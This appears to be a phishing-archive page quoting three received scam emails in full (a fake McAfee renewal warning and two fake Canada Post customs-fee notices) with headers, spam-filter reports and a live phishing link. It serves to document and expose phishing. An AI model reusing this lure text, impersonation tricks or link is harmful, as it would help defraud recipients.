McAfee Phish from sendgrid

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 18 Jan 2024 10:10:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQVtD-000000006eg-1MJM

for dave@doctor.nl2k.ab.ca;

Thu, 18 Jan 2024 10:09:15 -0700

Resent-From: The Doctor

Resent-Date: Thu, 18 Jan 2024 10:09:15 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from s.wfbtzhsc.outbound-mail.sendgrid.net ([159.183.224.108]:24164)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQUvW-000000004Zm-0NdE

for root@nk.ca;

Thu, 18 Jan 2024 09:07:42 -0700

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vistarooms.com;

h=from:subject:mime-version:content-type:content-transfer-encoding:to:

cc:content-type:from:subject:to;

s=s1; bh=etx0vDK+stmBkhUgVxY39Qgh5Gc0tFsSaQwRYpiUSh8=;

b=hYbwylJ97RbDhwl17KA4B0ablyTKeWsIwB5GHjLPubsI5CZh7hl5IN4+D+P8zFCtDfIZ

ZIZuPXbkkPC12MHTMEvnm1cYJMZ5/7IONxKwa22hNaJ9f8zQ2QFqhv/1Ol6lMIUkTp9/UA

SObOyE0LwzvS9G4FLHbEZ9mISMN+PQWkVlcuvN5KgcysKqM7NGud4fmvZO2uT82QVZes2B

H8ClCEa7JNPW4vZaIukWGne0722iPzR/PCsFpMhvdKZu6vopGNEoF0sDWE4KGlwYSy/IYe

gqKC0NO+n3YtUXlucxCd/fZvQJVS8q/Lr9Uy5afgqddKAcuVZP38Bd45AkP4wmuQ==

Received: by filterdrecv-f7cb6fc56-95r57 with SMTP id filterdrecv-f7cb6fc56-95r57-1-65A94C47-1C7

2024-01-18 16:05:27.651591383 +0000 UTC m=+8025801.988737879

Received: from azr-2-1.eastus.cloudapp.azure.com (unknown)

by geopod-ismtpd-1 (SG) with ESMTP id K6T1StK_QEGyYlh3l79F9g

for ; Thu, 18 Jan 2024 16:05:27.525 +0000 (UTC)

From: "Mcafee.Warning"

Subject: 42 viruses have been detected on your computer 29.

MIME-Version: 1.0

Content-Type: multipart/alternative; boundary="_----------=_MCPart_512623887"

Content-Transfer-Encoding: 7bit

Date: Thu, 18 Jan 2024 16:05:27 +0000 (UTC)

Unsubscribe:726f6f74406e6b2e6361

Message-ID:

X-SG-EID:

=?us-ascii?Q?vasJryaBgzKftuMacv0hJ3In9TH8=2FlBQg7PwdLlwRYPn+eEyryia50y72VoneG?=

=?us-ascii?Q?72rUJPd+3tt03mqbRzi32ud8lFIj4tgwb8BstAj?=

=?us-ascii?Q?2y2syYS3c6J7t4G14edEWyTQcbvdG1FYrqlrsxc?=

=?us-ascii?Q?JGoWT6GsczZB3FLK2HFmCgqvZ8iSyDDBTp5edNu?=

=?us-ascii?Q?1G+kiarj1iNGfWhokNG4crsOeVgehTXsN01ggCJ?=

=?us-ascii?Q?UI3CIWyRv=2FoPOqEn5n4xw=2FA8P+NdC70t66gXaW?=

To: root@nk.ca

X-Entity-ID: hNTy4fF37QWHqPDIgw8h/g==







--_----------=_MCPart_512623887

Content-Type: text/plain; charset=us-ascii

Content-Transfer-Encoding: quoted-printable




Zfyu>


et1q>


s2Wu>


sQ8J>


GtNX>


JNo8>


FVvV>


HnIQ>


oQPc>


m6sL>


n7FO>


SpRe>



--_----------=_MCPart_512623887

Content-Type: text/html; charset=utf-8

Content-Transfer-Encoding: 8bit





Â






To view this email as a web page, click here


МcΑfee©






Your Subscription has Closed Today.

Â


We have tried many times to warn you, Renew immediately.

Â


Make your device more secure by renewing your subscription to protect your family from ever-evolving threats.

Â


If you have not renewed your membership, your account will be closed within 48 hours.

Â














Account ID:54330913
User:root
Secure Status:Suspended
Today Discount:90Â %
Limited Time:Thu,18 Jan-2024


Â


Â












--_----------=_MCPart_512623887--

I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

Canada post phish from Hetzner Online GmbH Nürnberg, Bavaria, Germany

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 18 Jan 2024 10:08:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQVri-000000006bn-24ym

for dave@doctor.nl2k.ab.ca;

Thu, 18 Jan 2024 10:07:42 -0700

Resent-From: The Doctor

Resent-Date: Thu, 18 Jan 2024 10:07:42 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from gs-host.com ([195.201.37.193]:46902)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQVJO-0000000056x-2JXv

for root@nk.ca;

Thu, 18 Jan 2024 09:32:20 -0700

Received: by gs-host.com (Postfix, from userid 1254)

id 7D8DE1A218A; Thu, 18 Jan 2024 19:45:36 +0400 (+04)

DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple;

d=canadapost-postescanada.ca; s=202305; t=1705594845;

bh=fP1za4x5hFip3o5OXJNoe+N+i7drgY7FYX2DzQ6HgdY=;

h=To:Subject:Date:From:From;

b=fHMOnyXy4Y1ZA1Jt8aMIWbyxBugu93pogAzL9M8tixn65n0zAUOjY9Ir7qBB1AwBL

KG2vzhZg6mdOjRAV330O3CD08dVzHkOTMG/y56hrxoSmeynR6ykOE4Lbz/zQb3tCIN

Szz2XLd0Ou9g0b/I7YWtiKVyY4hOkHOTL3y53XToF0/XgJJxEfJBAOMLeyAJSflFsj

s6Rc5WWlECpeQH1u1nKvuryfkwgHKEZKFxqHEDB7RmiAdz6423KGxrTbDV2Lr5l3Jg

chmKczthTUwkbfpFMkb4k19oAlYFZC/wlGACjgHQzVSduVsHyO8KDT5+tjYKRLh/u2

HmVANMq3pol3g==

To: root@nk.ca

Subject: Important: An additional action from you is required to receive your express delivery!

X-PHP-Originating-Script: 1254:mn.php

Date: Thu, 18 Jan 2024 19:45:36 +0400

From: =?UTF-8?Q?Canada_Post_=7C_Postes_Canada=C2=AE?=

Message-ID:

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_a86fb62cb688f4bf543b971c51388793"

Content-Transfer-Encoding: 8bit

X-Spam_score: 15.9

X-Spam_score_int: 159

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: |delivery@canadapost-postescanada.ca| Dear Customer, Your

package number CA7002094852** is in transit. This package is declared in

customs, we invite you to pay the 2.94 CAD in duties and taxes by connecting

us via the link below as soon [...]



Content analysis details: (15.9 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: tt.vg]

1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,

https://senderscore.org/blocklistlookup/

[195.201.37.193 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[195.201.37.193 listed in bl.score.senderscore.com]

0.9 SPF_FAIL SPF: sender does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=alerts%40canadapost-postescanada.ca;ip=195.201.37.193;r=doctor.nl2k.ab.ca]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

0.6 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

-0.0 T_SCC_BODY_TEXT_LINE No description available.

3.0 LONG_INVISIBLE_TEXT Long block of hidden text - bayes poison?

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

1.6 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} Important: An additional action from you is required to receive your express delivery!



This is a multi-part message in MIME format.



--b1_a86fb62cb688f4bf543b971c51388793

Content-Type: text/plain; charset=UTF-8

Content-Transfer-Encoding: 8bit



|delivery@canadapost-postescanada.ca|*



Dear Customer,

Your package number CA7002094852*** is in transit. This package is declared in customs, we invite you to pay the 2.94 CAD in duties and taxes by connecting us via the link below as soon as possible.

Receive your delivery

Failure to comply with this notice may result in your package being returned to the sender within 03 working days.







Once your payment is made, you will receive a confirmation of payment and your package will be delivered the next day.



*Arrived at Canada Post Office Origin Facility: 01.18.2024 07:14:31 AM





--b1_a86fb62cb688f4bf543b971c51388793

Content-Type: text/html; charset=UTF-8

Content-Transfer-Encoding: quoted-printable




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
-DECORATION: ; FONT-FAMILY: Lato; VERTICAL-ALIGN: baseline; FONT-STYLE: nor=

mal">
em">
homa">
e=3D"FONT-SIZE: 0px; OVERFLOW: hidden; MAX-WIDTH: 0px; DISPLAY: none; LINE-=

HEIGHT: 0px; MAX-HEIGHT: 0px; VISIBILITY: hidden; opacity: 0; mso-hide: all=

">*|delivery@canadapost-postescanada.ca|*

ONT>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
DER-LEFT-STYLE: none; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE: none; BO=

RDER-RIGHT-STYLE: none" border=3D0 hspace=3D0 src=3D"https://www.irsapei.ca=

/sitefiles/Image/guide/illustrations/communication/Canada-Post-logo.png" wi=

dth=3D182 align=3Dbaseline height=3D38>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
AN style=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Dear Customer,

AN>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">You=

r package number=C2=A0
FONT-WEIGHT: bolder">CA7002

x; FONT-WEIGHT: bolder">094852***

-box; FONT-SIZE: 12px; FONT-FAMILY: "Open Sans", "Helvetica Neue", Helvetic=

a, Arial, sans-serif; COLOR: rgb(68,68,68)'>
er-box" color=3D#2c363a size=3D2 face=3DTahoma>
order-box; FONT-SIZE: 12px; FONT-FAMILY: "Open Sans", "Helvetica Neue", Hel=

vetica, Arial, sans-serif; COLOR: rgb(68,68,68)'>
border-box" color=3D#2c363a size=3D2 face=3DTahoma>=C2=A0

ONT>
is in transit.
=C2=A0

le=3D"BOX-SIZING: border-box">This package is declared in customs, we invit=

e you to pay the=C2=A0
bolder">2
e=3D"BOX-SIZING: border-box; FONT-SIZE: 16px">.94 CAD
=C2=

=A0in duties and taxes by connecting us via the link below as soon as possi=

ble.




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
border-box; COLOR: rgb(77,20,140)">
FONT-WEIGHT: bolder">
homa">
(0,172,255); BACKGROUND-COLOR: transparent" href=3D"https://tt.vg/RLIVy" re=

l=3Dnoreferrer target=3D_blank>
=3D#ff0000>Receive your delivery

AN>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
ace=3DTahoma>Failure to comply with this notice may result in your =

package being returned to the=C2=A0sender within 03 working days.
<=

/FONT>=20


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
ONT>


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
ONT>


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">Onc=

e your payment is made, you will receive a confirmation of payment and your=

package will be delivered the next day.
=20



px; OVERFLOW: visible; BORDER-TOP: 1px solid; HEIGHT: 0px; FONT-FAMILY: Rob=

oto, sans-serif; BORDER-RIGHT-WIDTH: 0px; WHITE-SPACE: normal; BORDER-BOTTO=

M-WIDTH: 0px; WORD-SPACING: 0px; TEXT-TRANSFORM: none; BORDER-LEFT-COLOR: ;=

FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; BORDER-BOTTOM-=

COLOR: ; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; BORDER-RIGHT-COLOR: ; LET=

TER-SPACING: normal; BACKGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial; border-image: initial">


ma>*Arrived at=

=C2=A0Canada Post Office Origin Facility: 01.18.2024 07:14:31 AM

NT>=20

3D""
size:fit:1160/1*JuClCJ-hzXZ1xXLKJ4I1NA.png" width=3D769 align=3Dbaseline he=

ight=3D252>







--b1_a86fb62cb688f4bf543b971c51388793--

I1.02KL0LD35.4KI2.16KwhoissourceRank32.2MPIN0Summary reportDiagnosisDensity00n/a

Canada post phish from Hetzner Online GmbH Nürnberg, Bavaria, Germany

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Thu, 18 Jan 2024 10:05:41 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQVpZ-000000006Xl-02tQ

for dave@doctor.nl2k.ab.ca;

Thu, 18 Jan 2024 10:05:29 -0700

Resent-From: The Doctor

Resent-Date: Thu, 18 Jan 2024 10:05:28 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from gs-host.com ([195.201.37.193]:45570)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.97.1 (FreeBSD))

(envelope-from )

id 1rQUrY-000000004Tx-3SzJ

for sales@nk.ca;

Thu, 18 Jan 2024 09:03:36 -0700

Received: by gs-host.com (Postfix, from userid 1254)

id A2C6516535F; Thu, 18 Jan 2024 18:51:59 +0400 (+04)

DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple;

d=canadapost-postescanada.ca; s=202305; t=1705592977;

bh=zi+4H5Blvfa2WUxFRZKNvr8wIUUovLM9AvBSESdW9dI=;

h=To:Subject:Date:From:From;

b=LzANO8g4drD0RM0MQfjzL6/jYI/YMMMZmjmITPWNDUhLP3kNynh1HzLwFY/iHM2H7

mGv/wtmcceMHbSZzcZ+/BC8XNdwzfjlUf1bgEWzmKMG+bO2kZs27UTFnlT23KKG/w2

6g053aI9V9lllFHGaOicu2UEfW5UDyOaBuwvMExn21mehjNzQIlXBc9ylpSnAYDUtO

yk9JiaDraBwxoH/0tcIXHwmzyeq19t0/PreErpKMya1dzAHGLZxBfibtLRwqYGUJZA

eGgTgBSJYLM5z50vvE6/Q1O25KSFpgmxYixtqTBKYGsRik+szMvL2USJCXUKr8l9Jw

/uJ28XwRmmT8A==

To: sales@nk.ca

Subject: Important: An additional action from you is needed to receive your express delivery!

X-PHP-Originating-Script: 1254:mn.php

Date: Thu, 18 Jan 2024 18:51:59 +0400

From: =?UTF-8?Q?Canada_Post_=7C_Postes_Canada=C2=AE?=

Message-ID: <7b494bcc0e99c89ef657b0ca2f60dcb6@partapart.az>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="b1_7b494bcc0e99c89ef657b0ca2f60dcb6"

Content-Transfer-Encoding: 8bit

X-Spam_score: 15.9

X-Spam_score_int: 159

X-Spam_bar: +++++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: |delivery@canadapost-postescanada.ca| Dear Customer, Your

package number CA7002094852*** is in transit. This package

is declared in customs, we invite you to pay the 2.94 CAD in duties

and taxes by connecting us v [...]



Content analysis details: (15.9 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the DBL blocklist

[URI: tt.vg]

1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,

https://senderscore.org/blocklistlookup/

[195.201.37.193 listed in bl.score.senderscore.com]

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[195.201.37.193 listed in bl.score.senderscore.com]

0.9 SPF_FAIL SPF: sender does not match SPF record (fail)

[SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=alerts%40canadapost-postescanada.ca;ip=195.201.37.193;r=doctor.nl2k.ab.ca]

-0.0 SPF_HELO_PASS SPF: HELO matches SPF record

0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily valid

0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid

0.0 T_KAM_HTML_FONT_INVALID BODY: Test for Invalidly Named or Formatted

Colors in HTML

0.6 HTML_IMAGE_RATIO_04 BODY: HTML has a low ratio of text to image area

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

-0.0 T_SCC_BODY_TEXT_LINE No description available.

3.0 LONG_INVISIBLE_TEXT Long block of hidden text - bayes poison?

1.7 RAZOR2_CHECK Listed in Razor2 (http://razor.sf.net/)

2.4 RAZOR2_CF_RANGE_E8_51_100 Razor2 gives engine 8 confidence level

above 50%

[cf: 100]

0.4 RAZOR2_CF_RANGE_51_100 Razor2 gives confidence level above 50%

[cf: 100]

1.6 FSL_BULK_SIG Bulk signature with no Unsubscribe

Subject: {SPAM?} Important: An additional action from you is needed to receive your express delivery!



This is a multi-part message in MIME format.



--b1_7b494bcc0e99c89ef657b0ca2f60dcb6

Content-Type: text/plain; charset=us-ascii



|delivery@canadapost-postescanada.ca|



Dear Customer,

Your package number CA7002094852*** is in transit. This package is declared in customs, we invite you to pay the 2.94 CAD in duties and taxes by connecting us via the link below as soon as possible.

Receive your delivery

Failure to comply with this notice may result in your package being returned to the sender within 03 working days.







Once your payment is made, you will receive a confirmation of payment and your package will be delivered the next day.



*Arrived at Canada Post Office Origin Facility: 01.18.2024 06:50:47 AM





--b1_7b494bcc0e99c89ef657b0ca2f60dcb6

Content-Type: text/html; charset=us-ascii

Content-Transfer-Encoding: quoted-printable




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
-DECORATION: ; FONT-FAMILY: Lato; VERTICAL-ALIGN: baseline; FONT-STYLE: nor=

mal">
em">
homa">
e=3D"FONT-SIZE: 0px; OVERFLOW: hidden; MAX-WIDTH: 0px; DISPLAY: none; LINE-=

HEIGHT: 0px; MAX-HEIGHT: 0px; VISIBILITY: hidden; opacity: 0; mso-hide: all=

">*|delivery@canadapost-postescanada.ca|*

ONT>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
DER-LEFT-STYLE: none; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE: none; BO=

RDER-RIGHT-STYLE: none" border=3D0 hspace=3D0 src=3D"https://www.irsapei.ca=

/sitefiles/Image/guide/illustrations/communication/Canada-Post-logo.png" wi=

dth=3D182 align=3Dbaseline height=3D38>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
AN style=3D"BOX-SIZING: border-box; FONT-WEIGHT: bolder">Dear Customer,

AN>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">You=

r package number 
FONT-WEIGHT: bolder">CA7002

x; FONT-WEIGHT: bolder">094852***

-box; FONT-SIZE: 12px; FONT-FAMILY: "Open Sans", "Helvetica Neue", Helvetic=

a, Arial, sans-serif; COLOR: rgb(68,68,68)'>
er-box" color=3D#2c363a size=3D2 face=3DTahoma>
order-box; FONT-SIZE: 12px; FONT-FAMILY: "Open Sans", "Helvetica Neue", Hel=

vetica, Arial, sans-serif; COLOR: rgb(68,68,68)'>
border-box" color=3D#2c363a size=3D2 face=3DTahoma> 

ONT>
is in transit.
 

le=3D"BOX-SIZING: border-box">This package is declared in customs, we invit=

e you to pay the 
bolder">2
e=3D"BOX-SIZING: border-box; FONT-SIZE: 16px">.94 CAD
 =

in duties and taxes by connecting us via the link below as soon as possible=

.




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
border-box; COLOR: rgb(77,20,140)">
FONT-WEIGHT: bolder">
homa">
(0,172,255); BACKGROUND-COLOR: transparent" href=3D"https://tt.vg/RLIVy" re=

l=3Dnoreferrer target=3D_blank>
=3D#ff0000>Receive your delivery

AN>




ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">
ace=3DTahoma>Failure to comply with this notice may result in your =

package being returned to the sender within 03 working days.
<=

/FONT>=20


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

initial">


ans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; MARGIN-TOP: 0px; TEXT-TR=

ANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; =

TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND=

-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal;=

font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration=

-thickness: initial; text-decoration-style: initial; text-decoration-color:=

